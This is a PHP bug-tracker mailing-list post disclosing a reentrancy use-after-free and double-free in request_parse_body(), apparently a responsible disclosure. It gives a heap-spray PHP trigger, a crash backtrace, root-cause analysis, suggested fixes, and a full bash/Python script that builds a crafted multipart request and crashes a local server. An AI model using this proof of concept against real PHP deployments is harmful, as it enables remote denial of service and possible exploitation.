[php-src] Issue #24802: request_parse_body() reentrancy can double-free PG(rfc1867_protected_variables)

From: Date: Tue, 27 Oct 2026 23:45:29 +0000
Subject: [php-src] Issue #24802: request_parse_body() reentrancy can double-free PG(rfc1867_protected_variables)
Groups: php.bugs 
Request: Send a blank email to php-bugs+get-253256@lists.php.net to get a copy of this message
Issue: https://github.com/php/php-src/issues/24802 Author: ke0xa6 ### Description request_parse_body() has no reentrancy guard. If a user error handler invoked during multipart parsing calls request_parse_body() again, the nested parse re-initializes and destroys the process-global PG(rfc1867_protected_variables) HashTable. The outer parse then continues to use, and finally destroys, the same freed arData. With a same-size-class reclaim, the outer destroy treats reclaimed memory as buckets and passes Bucket.key to zend_string_release(); the repro crashes with zend_string_release(s=0x4141414141414141). The following code: ```php set_error_handler(function($no,$str,$file,$line) { static $done=false; if (!$done) { $done=true; try { request_parse_body(); } catch (Throwable $e) {} $GLOBALS["spray"]=[]; for ($i=0;$i<64;$i++) $GLOBALS["spray"][]=str_repeat("A",263); } return true; }); try { request_parse_body(); echo "ALIVE\n"; } catch (Throwable $e) {} ``` The request is a multipart PUT (boundary X) whose first field name is a[x][x]... 70 levels deep, with a valid boundary + file part placed at the SAPI read offset 5120 + H + V. The full self-contained repro (repro_f28.sh, starts php -S, sends the request, and reports DEAD/ALIVE) is in the details block at the end. Resulted in this output: ```text zend_string_release (s=0x4141414141414141) at Zend/zend_string.h:417 #1 zend_hash_destroy (ht=core_globals+232) at Zend/zend_hash.c:2017 #2 rfc1867_post_handler ... main/rfc1867.c:1441 #3 sapi_handle_post ... main/SAPI.c:164 #4 zif_request_parse_body ... ext/standard/http.c:362 ``` But I expected this output instead: ```text ALIVE ``` i.e. the nested parse should not destroy the process-global hash used by the outer parse, or reentrancy should be rejected cleanly. ### PHP Version ```text PHP 8.5.12 (cli) (NTS) PHP 8.4.27 (cli) (NTS) ``` Both were built from the official release tarballs. PHP 8.3 and earlier are not affected because request_parse_body() does not exist there. The current master main/rfc1867.c (checked 2026-10-23) is still unguarded. ### Operating System Ubuntu 24.04 x86_64 ### Additional context Root cause: - ext/standard/http.c request_parse_body() has no "parsing in progress" guard (8.4.27: http.c:349, throw_exceptions at :358, sapi_read_post_data at :370, sapi_handle_post at :384; 8.5.12: :327, :336, :348, :362). - main/rfc1867.c rfc1867_post_handler() calls zend_hash_init(&PG(rfc1867_protected_variables)) on every entry (8.4.27/8.5.12: rfc1867.c:793) and fileupload_done unconditionally calls zend_hash_destroy() (rfc1867.c:1441). There is no busy flag. - main/php_variables.c:216 emits the nesting warning only when display_errors is off; the user error handler is invoked inside the parser. Trigger: - The application calls request_parse_body() on a multipart request (the documented PUT/PATCH usage; for POST, with enable_post_data_reading=0 so the parse happens after the handler is installed). - The application installs a user error handler that calls request_parse_body() again and returns true (if it throws, the exception propagates and no crash occurs). - display_errors=Off (production default). - The attacker supplies the nested multipart body and the boundary/file part layout. Controls: - nested body without a file part (hash stays UNINITIALIZED): 200, alive. - handler does not reenter: 200, alive. - spray without reentry: 200, alive. - only "reentry + nested file part + same-bin reclaim" crashes: 8.4.27 5/5, 8.5.12 2/2, 8.4.11 distro -O2 1/1; release-build runs 3/3. Impact: use-after-free and double-free of a process-global HashTable; remote worker/process crash (DoS). The outer destroy passes a reclaimed-memory Bucket.key to zend_string_release(), i.e. a pointer-release primitive influenced by allocations in the same request; with an address leak and heap shaping this could have RCE potential, but it has not been weaponized. Suggested fix: 1. Add a parse-in-progress flag (request_parse_body_context or SAPI globals) and make reentrant sapi_handle_post()/request_parse_body() fail cleanly (RequestParseBodyException), or 2. Make PG(rfc1867_protected_variables) a per-parse local HashTable (save/restore around nested parses). This was originally submitted as a private report; the security team asked to move it to a normal issue. <details> <summary>repro_f28.sh</summary> ```bash #!/bin/bash # F28 minimal repro: reentrant request_parse_body -> UAF/double-free of # PG(rfc1867_protected_variables). # Usage: [GDB=1] [MODE=file|nofile] [PORT=8611] ./repro_f28.sh /path/to/php set -u PHPBIN=${1:?usage: $0 /path/to/php} D=${D:-/tmp/f28repro} PORT=${PORT:-8611} MODE=${MODE:-file} GDB=${GDB:-0} rm -rf "$D"; mkdir -p "$D/web" "$D/tmp" cat > "$D/web/repro.php" <<'PHP' <?php set_error_handler(function($no, $str, $file, $line) { static $done = false; if (!$done) { $done = true; try { request_parse_body(); } catch (Throwable $e) {} $GLOBALS["spray"] = []; for ($i = 0; $i < 64; $i++) { $GLOBALS["spray"][] = str_repeat("A", 263); } } return true; }); try { request_parse_body(); echo "ALIVE\n"; } catch (Throwable $e) { echo "EXC ", get_class($e), "\n"; } PHP MODE=$MODE python3 - "$D/body.bin" <<'PY' import os, sys mode = os.environ.get("MODE", "file") B = "X" deep = "a" + "[x]" * 70 hdr1 = 'Content-Disposition: form-data; name="' + deep + '"' init = "--" + B + "\r\n" H = len(init) + len(hdr1) + 2 + 2 V = 100 Q = H + V if mode == "file": nested = ("--" + B + "\r\n" 'Content-Disposition: form-data; name="f"; filename="u.txt"\r\n' "Content-Type: text/plain\r\n\r\n" "DATA" + "D" * 200 + "\r\n--" + B + "--\r\n") else: nested = ("--" + B + "\r\n" 'Content-Disposition: form-data; name="f"\r\n' "\r\n" "DATA" + "D" * 200 + "\r\n--" + B + "--\r\n") nested_off = 5120 + Q total = nested_off + len(nested) body = bytearray(b"W" * total) body[0:len(init)] = init.encode() o = len(init) body[o:o+len(hdr1)] = hdr1.encode(); o += len(hdr1) body[o:o+2] = b"\r\n"; o += 2 body[o:o+2] = b"\r\n"; o += 2 assert o == H body[H:Q] = b"V" * V t = ("\r\n--" + B + "\r\n").encode() body[Q:Q+len(t)] = t body[nested_off:nested_off+len(nested)] = nested.encode() open(sys.argv[1], "wb").write(bytes(body)) PY if [ "$GDB" = "1" ]; then gdb -nx -q -batch -ex "set pagination off" \ -ex "handle SIGPIPE nostop noprint pass" \ -ex run -ex "bt 6" -ex "info registers rdi" \ --args "$PHPBIN" -n -d display_errors=0 -d error_reporting=E_ALL \ -d upload_tmp_dir="$D/tmp" -d sys_temp_dir="$D/tmp" \ -S 127.0.0.1:$PORT -t "$D/web" > "$D/gdb.log" 2>&1 & PID=$! sleep 3 curl -s -m 10 --retry 3 --retry-connrefused --retry-delay 1 -o /dev/null \ -X PUT -H "Content-Type: multipart/form-data; boundary=X" \ --data-binary @"$D/body.bin" http://127.0.0.1:$PORT/repro.php sleep 2 grep -aE "SIGSEGV|zend_string_release|zend_hash_destroy|zif_request_parse_body|rdi" "$D/gdb.log" || true kill $PID 2>/dev/null exit 0 fi "$PHPBIN" -n -d display_errors=0 -d error_reporting=E_ALL \ -d upload_tmp_dir="$D/tmp" -d sys_temp_dir="$D/tmp" \ -S 127.0.0.1:$PORT -t "$D/web" > "$D/server.log" 2>&1 & PID=$! sleep 1 curl -s -m 10 -o /dev/null -w "curl_http=%{http_code}\n" \ -X PUT -H "Content-Type: multipart/form-data; boundary=X" \ --data-binary @"$D/body.bin" http://127.0.0.1:$PORT/repro.php sleep 0.3 if kill -0 $PID 2>/dev/null; then echo "RESULT=ALIVE (mode=$MODE)"; kill $PID 2>/dev/null else wait $PID 2>/dev/null; rc=$? echo "RESULT=DEAD rc=$rc (139=SIGSEGV) mode=$MODE" fi ``` </details>

« previous php.bugs (#253256) next »